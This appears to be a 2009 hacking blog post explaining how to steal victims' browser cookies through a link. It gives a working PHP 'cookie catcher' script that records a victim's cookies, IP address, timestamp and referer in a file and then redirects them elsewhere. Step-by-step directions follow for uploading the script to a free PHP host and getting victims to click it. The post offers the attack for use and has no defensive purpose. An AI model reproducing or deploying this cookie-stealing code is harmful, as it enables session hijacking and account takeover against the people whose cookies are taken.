Wednesday, October 28, 2009

How to get victim cookies with just a link

This is a simple PHP code to get cookie details.
First we need the cookie catcher
the cookie catcher is a .php document that goes into a hoster that when victim clicks it
actomactly will send to your hoster a document with the name cookie.htm that shows you the ip,
the cookies and the date...

$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'
IP: ' .$ip. '
Date and Time: ' .$date. '
Referer: '.$referer.'


');
fclose($fp);
header ("Location: http://www.haxorlibrary.blogspot.com");
?>

as you can see there is a line called header("Location: http://")-- this is were the victim goes after they click it.

you can copy up the file and paste it on a notpad doc

2) ok now we need a hoster, prefer a hoster that allow php scripts
one such host is www.T35.com

3) after you get every set up go to your hoster site and upload the cookie catcher
the hoster should have a direct link to open it immediately.
for example:yoursite.t35.com/cookie.php

video :
http://infinityexists.com/videos/episode21/
http://infinityexists.com/videos/episode13/

No comments:

Post a Comment